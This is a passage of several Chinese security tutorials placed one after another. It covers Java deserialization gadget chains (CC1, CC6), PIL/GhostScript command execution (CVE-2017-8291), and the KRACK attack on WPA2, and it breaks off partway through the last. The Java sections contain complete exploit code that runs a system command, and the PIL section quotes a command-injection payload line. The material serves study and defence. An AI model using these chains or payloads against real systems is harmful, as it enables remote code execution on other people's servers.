创建Registry并绑定RemoteHelloworld对象到Hello名字上。Naming.bind第一个参数是url（rmi://host:port/name)，name为远程对象的名字。本地运行时socket默认为localhost:1099。
而在远程用Naming.rebind重新绑定对象是不行的，只有url
ip为localhost才能直接调用rebind\bind等方法。（ip必须为服务器ip才能远程访问）
* list搭配lookup进行远程调用。List列出所有绑定对象后用lookup获取指定对象(BaRMIe探测危险方法)
* applet的codebase标签RMI
# JAVA反序列化
`readObject`：和`php __wakeup`类似
package org.vulhub.Ser;
import java.io.IOException;
public class Person implements java.io.Serializable {
public String name;
public int age;
Person(String name, int age) {
this.name = name;
this.age = age;
}
private void writeObject(java.io.ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
s.writeObject("This is a object");
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
}
序列化对象时会调用writeObject方法写入内容，参数类型为ObjectOutputStream。反序列化时会调用readObject读取流，该流可以进行利用以读取前面写入的内容（也可以其他利用）
defaultWriteObject将对象可序列化字段写入输出流，也就是序列化。
s.writeObject把字符串写入流中。read同理
在代码进行到中间，也就是writeObject完的时候用SerializationDumper查看数据时发现写入的字符串放在`objectAnnotation`的位置
* objectAnnotation:序列化时开发者写入的内容会放在objectAnnotation中。readObject反序列时会读取写入内容（不用考虑类属性，任意东西都能写入）
readObject读取写入内容后传入message，printIn输出
在URLDNS利用链里用到了hashmap，主要原因就是hashmap继承了Serializable接口
## Common-collections1 TransformMap版
下面对p神编写的简化版commoncollections1的利用链
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
用Transformer[]定义了transformers接口，transformers接收两个参数，分别为ConstantTransformer(构造函数时传入对象并返回该对象)，InvokerTransformer(执行任意方法)。
* InvokerTransformer接收三个参数，命令执行方法，函数参数类型，参数列表。参数类型参照前面的exec不同构造构造函数。这里选择的String.class也就是字符对象。
* InvokerTransformer用getClass，getMethod后用invoke执行了方法。
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
ChainedTransformer将前一个回调返回结果作为后一个回调参数，现在你就知道了为什么transformers定义时传入了两个对象了，getRuntime获取的对象经过ConstantTransformer返回后作为参数传到InvokerTransformer里。因为Runtime里才有exec方法
而decorate方法是获取一个TransformedMap对象，当TransformedMap内的key和value变化时就会触发Transformer的transform()方法。
在这里也就是把transformerChain绑定在value或者key上。后续put进新元素时会改变transformvalue或者key进而触发反序列化链。
触发过程：put新元素触发hashmap的反序列化，并且transformChain开始生成runtime对象，exec执行
但是现实环境几乎没有能直接put元素的环境。需要在java原生环境找到put类操作，也就是sun.reflect.annotation.AnnotationInvocationHandler。AnnotationInvocationHandler的readObject方法里有memberValue.setValue()，在序列化时会直接触发。所以只需要把Map传进去就行了。但是这个方法是私有的，还需要反射获取
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
由于网络传输需要用字节流而不是字符流，就需要先ByteOutputStream创建字节数组缓存区，再创建对象的序列化流后用writeObject写入序列化流。
但是执行不了，上述代码对象是由Runtime.getRuntime()实例化对象方法直接生成的。继承的是Runtime的方法，但是该类下没有serializable接口进行序列化。从开篇提的class反射生成的类具有serializable接口，所以这里要借助class进行反射。(对象具有serializable接口才能反序列化，而反序列化是从readObject入口)
所以反序列化链为：
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = newChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("godown","buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
}
}
其实到这里逻辑上已经很合理了。但是还没有解释为什么反射生成AnnotationInvocationHandler对象obj的时候向构造函数传的参是Retention.class。这是因为在通往setValue的时候遇到了问题，在AnnotationInvocationHandler的readObject时需要经过一个if判断才能继续setValue。
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
绕过这个if判断的条件就是
1.AnnotationInvocationHandler构造函数第一个参数是Annotation子类且包含至少一个方法，假设为X。
2.TransformedMap.decorate绑定的Map中有一个X元素
Retention.class就符合子类和至少一个方法的条件。方法叫value，所以`innerMap.put("value","buruheshen");`
完整payload就是改一下put元素,在最后readobject序列化对象触发
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
下面是测试图：
## LazyMap反序列化链
上述反序列化链是由TransformMap搭配AnnotationInvocationHandler的readObject修改Map触发，其中最后一步就是setValue。不通过setValue触发也是可以的捏。
LazyMap.decorate绑定的Map，在get找不到值时会触发transform。AnnotationInvocationHandler有setValue但是没有get方法，不过该类下的invoke方法有get调用。用到`java.reflect.Proxy`触发Invoke。而触发的具体原理可以参考：`https://www.jianshu.com/p/774c65290218`。理解不了也没事，只需要知道Proxy代理能触发重写的InvocationHandler。
LazyMap的CC链反序列化流程：
1. transfromChain的链一样，绑定到lazyMap上。
`Map outerMap = LazyMap.decorate(innerMap, transformerChain);`
2. 反射得到AnnotationInvocationHandler构造函数，传入outMap实例化对象。调用outMap需要get获取值
3. 借助proxy对象代理，自动调用AnnotationInvocationHandler的invoke的get方法。
上述代码只需要修改：
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class,outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
最后要再实例化的原因是入口点是AnnotationInvocationHandler的readObject，而proxy是Map对象，入口不对
正常执行是没问题的，但是在调试时可能会弹两遍甚至是三遍计算器。根据上面的对象代理知道Proxy代理了map对象(Map
proxyMap定义后)，执行一遍map就会触发一遍payload。可以学习ysoserial先new
ChainedTransformer假数组，最后再利用getDeclaredField获取私有方法iTransformers，把真正的Transformer数组设置进去
完整的poc：
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);//先绑定假transform
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class,outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
## 高版本CC6
再想一遍cc1利用AnnotationInvocationHandler的原因，是因为AnnotationInvocationHandler可以put或者get原map对象，从而触发transform。在高版本时进行了修复，该类的readObject复制了一份linkedHashMap对象，而不是直接用传入的对象，自然也就不能触发transform
那就直接不用AnnotationInvocationHandler了，他不给我们用就不惯着它，在`org.apache.commons.collections.keyvalue.TiedMapEntry`中hashcode调用了getValue方法，getValue调用了map.get。所以只需要找到hashcode的调用
* ysoserial是⽤`java.util.HashSet#readObject`到`HashMap#put()`到 `HashMap#hash(key)`最后到 `TiedMapEntry#hashCode()`
* p神是`java.util.HashMap#readObject` 到`HashMap#hash()`到`TiedMapEntry#hashCode()`
HashMap的部分内容如下：
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
readObject调用了hash(key)，hash(key)又调用了hashcode。所以key==TieMapEntry对象时，构成Gadget
构造反序列化链流程：
1. 构造lazyMap，和前面的lazyMap一样
`Map outerMap = LazyMap.decorate(innerMap, transformerChain);`
2. 把lazyMap的对象作为TieMapEntry的map属性，放入构造函数
`TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");`
3. 将tem作为HashMap的一个key。这样就能调用到hash(key)->hashcode了。lazyMap那里要用到一个HashMap，因为要继承Serializable接口，这里要用到一个HashMap存放TiedMapEntry的对象
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
就完事了。但有个问题，expMap.put(tme,"valuevalue")，put方法也像readObject一样，调用了一遍hash(key)
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
就导致lazyMap被调用了两遍，第一遍是fakeTransformers，第二遍是恶意的transformers。
faketransformers虽然没有触发命令执行，但是向tme添加了"keykey"的key(hashmap的value无论是否为"keykey"都会==ture，只要有值)，导致第二次没能进入if判断
画个图：
> 最后触发命令执行的transformer: key==keykey时输出true，不进入循环
>
>
> public Object get(Object key){
> if(map.containsKey(key)==false){
> Object value=factory.transform(key);
> map.put(key,value);
> return value;
> }
> }
>
解决办法:outerMap.remove("keykey")
完整poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);//先绑定假transform
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
测试图：
工具推荐：SerializationDumper 16进制序列化内容转字符串
ysoserial 用户根据自己的利用链生成反序列化数据
文章或许有许多错误，请指正
参考： p神的《java安全漫谈》学习。 | 社区文章 |
来源：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/2163.html "先知安全技术社区")
作者：nearg1e@YSRC
PIL (Python Image Library) 应该是 Python 图片处理库中运用最广泛的，它拥有强大的功能和简洁的 API。很多 Python
Web 应用在需要实现处理图片的功能时，都会选择使用 PIL。
PIL 在对 eps 图片格式进行处理的时候，如果环境内装有 GhostScript，则会调用 GhostScript 在 dSAFER
模式下处理图片，即使是最新版本的PIL模块，也会受到 `GhostButt CVE-2017-8291` dSAFER 模式 Bypass
漏洞的影响，产生命令执行漏洞。
据说大牛们看源码和 dockerfile 就可以了：<https://github.com/neargle/PIL-RCE-By-GhostButt>
#### 一个简单常见的 Demo
from PIL import Image
def get_img_size(filepath=""):
'''获取图片长宽'''
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0, 0)
我们在 Demo 里调用了 PIL 的 `Image.open`, `Image.load` 方法加载图片，最后返回图片的长和宽。
In [2]: get_img_size('/tmp/images.png')
Out[2]: (183, 275)
#### 分析
###### Image.open 图片格式判断的问题
PIL在 `Image.open` 函数里面判断图片的格式，首先它调用 `_open_core` 函数， 在 `_open_core`
里面则是调用各个格式模块中的 `_accept` 函数，判断所处理的图片属于哪一个格式。
def _open_core(fp, filename, prefix):
for i in ID:
try:
factory, accept = OPEN[i]
if not accept or accept(prefix):
fp.seek(0)
im = factory(fp, filename)
_decompression_bomb_check(im.size)
return im
except (SyntaxError, IndexError, TypeError, struct.error):
# Leave disabled by default, spams the logs with image
# opening failures that are entirely expected.
# logger.debug("", exc_info=True)
continue
return None
im = _open_core(fp, filename, prefix)
这里 `_accept(prefix)` 函数中的参数 prefix 就是图片文件头部的内容
# PIL/GifImagePlugin.py
def _accept(prefix):
return prefix[:6] in [b"GIF87a", b"GIF89a"]
# PIL/EpsImagePlugin.py
def _accept(prefix):
return prefix[:4] == b"%!PS" or \
(len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)
可以发现 PIL 使用文件头来判断文件类型，也就是说即使我们用它处理一个以 `.jpg` 结尾的文件，只要文件内容以 `%!PS` 开头，那么 PIL
就会返回一个 `PIL.EpsImagePlugin.EpsImageFile` 对象，使用 eps 格式的逻辑去处理它。之后调用的 load 方法也是
`EpsImageFile` 里面的 load 方法。
###### Image.load 到 subprocess.check_call
真实的环境中，程序员可能不会刻意去调用 `load()` 方法，但是其实 Image 文件中几乎所有的功能函数都会调用到 `load()`。在
PIL/EpsImagePlugin.py 文件内我们关注的调用链为: `load()` -> `Ghostscript()` ->
`subprocess.check_call()`, 最后使用 `subprocess.check_call` 执行了 gs 命令。
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# 省略判断是GhostScript是否安装的代码
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
最后其执行的命令为 `gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER
-sDEVICE=ppmraw -sOutputFile=/tmp/tmpi8gqd19k -c 0 0 translate -f ../poc.png`,
可以看到 PIL 使用了 dSAFER 参数。这个参数限制了文件删除,重命名和命令执行等行为,只允许 gs 打开标准输出和标准错误输出。而
`GhostButt CVE-2017-8291` 刚好就是 dSAFER 参数的 bypass。
###### GhostButt CVE-2017-8291
该漏洞的详细的分析可以看 binjo 师傅的文章:[GhostButt -CVE-2017-8291利用分析](https://paper.seebug.org/310/ "GhostButt -CVE-2017-8291利用分析")，原先我复现和构造POC的时候花费了很多时间，后来看了这篇文章，给了我很多帮助。
这里我们用的 poc 和文章里面一样使用，也就是 msf 里面的 poc:poc.png。虽然这里修改 eps 后缀为 png ，但其实文件内容确实典型的
eps 文件。截取部分内容如下:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
... 省略
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
我们需要构造的命令执行payload就插入在这里 : `(%pipe%touch /tmp/aaaaa)`。
#### 真实环境（伪）和复现
我使用之前写的的 demo 函数和 Flask file-upload-sample 写了一个简单的 Web
app:[app.py](https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/src/app.py "app.py")，使这个本地命令执行变成一个远程命令执行。主要代码如下：
UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def get_img_size(filepath=""):
'''获取图片长宽'''
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0, 0)
def allowed_file(filename):
'''判断文件后缀是否合法'''
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''文件上传app'''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
image_file = request.files['file']
if image_file.filename == '':
flash('No selected file')
return redirect(request.url)
if image_file and allowed_file(image_file.filename):
filename = secure_filename(image_file.filename)
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
image_file.save(img_path)
height, width = get_img_size(img_path)
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
.format(height, width)
return '''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
<form method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
'''
考虑到在 Windows 上面安装 PIL 和 GhostScript 可能会比较费劲，这里给大家提供一个 dockerfile。
git clone https://github.com/neargle/PIL-RCE-By-GhostButt.git && cd PIL-RCE-By-GhostButt
docker-compose build
docker-compose up -d
访问 <http://localhost:8000/> 可以看到文件上传页面。程序只使用允许后缀为 png
的文件上传，并在上传成功之后使用PIL获取图片长宽。我们修改 poc，使用 dnslog 来验证漏洞。
页面截图:
DNSlog:
#### 总结
###### 什么情况下我们的web服务会受到该漏洞影响
* 使用 Python PIL 库处理图片(应该是任意版本)
* 环境中有 GhostScript(version <= 9.21)
###### 如何修复？
一个是升级 GhostScript 版本。当然更新 PIL 的版本并不能解决问题，因为 pip 不会帮我们升级 GhostScript。
另外在 Python 代码里面，如果我们的 web 程序不需要处理 eps 格式，除了对文件头进行判断排除 eps
文件之外，借用PIL自带的程序逻辑，也可以避免产生命令执行漏洞。PIL.Image 会在 `init()` 里面加载 PIL
目录下的所有图片格式的处理方法。
def init():
global _initialized
if _initialized >= 2:
return 0
for plugin in _plugins:
try:
logger.debug("Importing %s", plugin)
__import__("PIL.%s" % plugin, globals(), locals(), [])
except ImportError as e:
logger.debug("Image: failed to import %s: %s", plugin, e)
...
但同时也为我们提供了preinit()方法，该方法只加载 Bmp, Gif, Jpeg, Ppm,
Png，这五种常见图片格式的处理方法。只需在用`open`函数打开图片文件之前，使用 preinit()，并设置 `_initialized`
的值大于等于2，即可避免 Image 调用 GhostScript 去解析 eps 文件：
Image.preinit()
Image._initialized = 2
#### 最后
其实 Python 开发过程中有很多经典的代码执行或者命令执行问题，包括但不限于以下几种:
* `pickle.loads(user_input)` : yaml, pickle等库在反序列化时产生的代码执行
* `Template(user_input)` : 模板注入(SSTI)所产生的代码执行
* `eval(user_input)` : eval等代码执行函数所导致的任意代码执行
* `subprocess.call(user_input, shell=True)` : popen, subprocess.call等函数所导致的命令执行
PIL 这里出现的问题是比较少被提及的，实际的生产环境中到底常不常见就只能期待大家的反馈了。欢迎任何角度的纠错以及观点独到的建议。感谢祝好。
#### Link
* <https://github.com/neargle/PIL-RCE-By-GhostButt>
* <https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz>
* <https://paper.seebug.org/310/>
* * * | 社区文章 |
# 浅论密钥重装攻击KRACK
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
KRACK即为Key Reinstallation Attacks，中文译为密钥重装攻击。是由比利时鲁汶大学信息安全研究人员Mathy
Vanhoef提出的一种针对WPA2的攻击方式。
Mathy Vanhoef
## 时间线
• 2017.5.19 论文被提交
• 2017.6.16 向攻击涉及的供应商发出通告
• 2017.8.28 CERT/CC向所有供应商发出通告
• 2017.10.15 作者在https://www.krackattacks.com公开披露细节，并演示了一个攻击实例
• 2017.11.1 论文在CCS会议报告
---
## 灵感的来源
“Ha. I wonder what happens if that function is called twice.”
athy在写另一篇论文时，注意到WiFi标准中一个安装密钥的函数，通常只会被调用一次，他猜想调用两次将会重置相关参数。
---
在正式开始介绍之前，为了便于理解，我先给出一些名词。
• 成对临时密钥(Pairwise Transient Key ,PTK)作为会话密钥。
• 成对主密钥 (Pairwise Master Key, PMK)
• 接入端 随机数Anonce
• 客户端随机数Snonce
• 临时密钥(Temporal KEY, TK)
• 预共用密钥(PSK)
同一无线路由器底下的每个用户都使用同一把密钥，区别于[802.1X](https://zh.wikipedia.org/wiki/802.1X)认证服务器来分发不同的密钥给各个终端用户
• 接收计数器(Receive Sequence Counter,RSC)
• 信息完整性校验码(MIC)
---
接下来正式开始介绍
## 1 背景知识
### 1.1 WPA的产生
WPA全名为Wi-Fi Protected
Access，有WPA和WPA2两个标准，是一种保护[无线网络](https://zh.wikipedia.org/wiki/%E7%84%A1%E7%B7%9A%E7%B6%B2%E8%B7%AF
"无线网络")安全的系统。它是研究者为了解决在前一代的[有线等效加密](https://zh.wikipedia.org/wiki/%E6%9C%89%E7%B7%9A%E7%AD%89%E6%95%88%E5%8A%A0%E5%AF%86
"有线等效加密")（WEP）系统中找到的几个严重的弱点：
• WEP不是强制使用的，使得许多设施根本就没有启动WEP
•
WEP并不包含[钥匙管理协定](https://zh.wikipedia.org/w/index.php?title=Key_management_protocol&action=edit&redlink=1
"Key management
protocol（页面不存在）")，却在用户间共用一个[秘密钥匙](https://zh.wikipedia.org/w/index.php?title=%E7%A7%98%E5%AF%86%E9%91%B0%E5%8C%99&action=edit&redlink=1
"秘密钥匙（页面不存在）")。
• RC4所用的24比特的IV（初始向量）并没有长到足以担保不会重复
---
而产生的。商业联盟 Wi-Fi
Alliance制定了WPA标准，对WPA标准的实际运用检验从[2003年4月](https://zh.wikipedia.org/wiki/2003%E5%B9%B44%E6%9C%88
"2003年4月")开始，并于[2003年11月](https://zh.wikipedia.org/wiki/2003%E5%B9%B411%E6%9C%88
"2003年11月")变成强制性。
### 1.2 WPA与802.11i的关系
由于WEP已被证明不够安全，人们需要更安全的加密标准，但制定802.11i的工作比原先预期的久了很多，在大家越来越关心无线安全的同时，该标准的制定花费了四年才完成。芯片厂商已经迫不及待的需要一种更为安全的算法，并能成功兼容之前的硬件，所以，WPA包含了与WEP兼容的802.11i子集合,实现了[IEEE](https://zh.wikipedia.org/wiki/IEEE
"IEEE") [802.11i](https://zh.wikipedia.org/wiki/802.11i
"802.11i")标准的大部分，先于完整的802.11i推出。在完整的802.11i标准于[2004年6月](https://zh.wikipedia.org/wiki/2004%E5%B9%B46%E6%9C%88
"2004年6月")通过之后，Wi-Fi
Alliance于[2004年9月](https://zh.wikipedia.org/wiki/2004%E5%B9%B46%E6%9C%88
"2004年6月")推出了实现了802.11i强制性元素的WPA2。
### 1.3 WPA2的改进
WEP所使用的CRC（[循环冗余校验](https://zh.wikipedia.org/wiki/%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C
"循环冗余校验")）先天就不安全，在不知道WEP密钥的情况下，要篡改所载数据和对应的CRC是可能的，而WPA使用了名为“Michael”的更安全的[消息认证码](https://zh.wikipedia.org/wiki/%E8%A8%8A%E6%81%AF%E8%AA%8D%E8%AD%89%E7%A2%BC
"消息认证码")（在WPA中叫做[消息完整性查核](https://zh.wikipedia.org/w/index.php?title=%E8%A8%8A%E6%81%AF%E5%AE%8C%E6%95%B4%E6%80%A7%E6%9F%A5%E6%A0%B8&action=edit&redlink=1)，MIC），WPA2采用了计数器模式密码块链消息完整码协议CCMP（Counter
CBC-MAC Protocol），其安全性已被严格地证明了。
WPA仍使用RC4，使用可以动态改变密钥的“临时密钥完整性协议”（Temporal Key Integrity
Protocol，[TKIP](https://zh.wikipedia.org/wiki/TKIP
"TKIP")），以及48位的IV。WPA2中RC4被AES取代。
## 2 攻击原理
### 2.1 四次握手
WPA和WPA2均使用802.11i中定义的四次握手，客户端（Station, STA）和接入点（Access Point,
AP）通过四次握手相互验证和协商名为成对临时密钥（Pairwise Transient Key, PTK）的会话密钥。PTK通过成对主密钥（Pairwise
Master Key,
PMK）、AP随机数ANonce、STA随机数SNonce和双方MAC地址等计算生成，其中PMK由登录密码等双方均已知的信息计算生成。而后续正常数据加密所使用的临时密钥（Temporal
KEY, TK）即派生自PTK。各密钥、参数的关系如下图所示。
图 2-1 四次握手中各密钥、参数关系
图 2-2 四次握手中所用数据报文格式
图 2-3 四次握手过程
消息1,2与攻击关系不大，略过不提，WPA2所遵循的802.11i标准中规定，AP在发起连接时就安装组密钥GTK,客户端接收到消息3将安装PTK和组密钥GTK,发送消息4作为回应，AP收到消息4安装PTK,未收到消息4将重发消息3.
为了完成密钥重装，攻击者需要嗅探、重放四次握手过程中的第3个消息报文，强制重置协议加密使用到的nonce值及重放计数，重安装加密密钥。而会话密钥与双方MAC地址有关，所以，普通的中间人攻击是无法奏效的，需要运用channel-based MitM技术，伪造同名同MAC不同信道热点。
## 3 不同场景的攻击
### 3.1 接受明文重传消息3，不安装全0密钥
攻击者作为中间人，首先放行消息1,2,3，阻塞客户端对消息3的回复消息4。此时客户端安装了PTK,将发送以此PTK加密的数据，nonce为1，攻击者将此数据阻塞。
AP未接收到消息4，将重发消息3，攻击者将其转发给客户端。客户端重装PTK,此时，攻击者将先前拦下的消息4发送给AP，此后发送的加密数据将重用PTK,且nonce被重置为1
nonce重用引发的后果与所采用的数据保密协议密切相关。三种数据保密协议：
• 临时密钥完整性协议TKIP
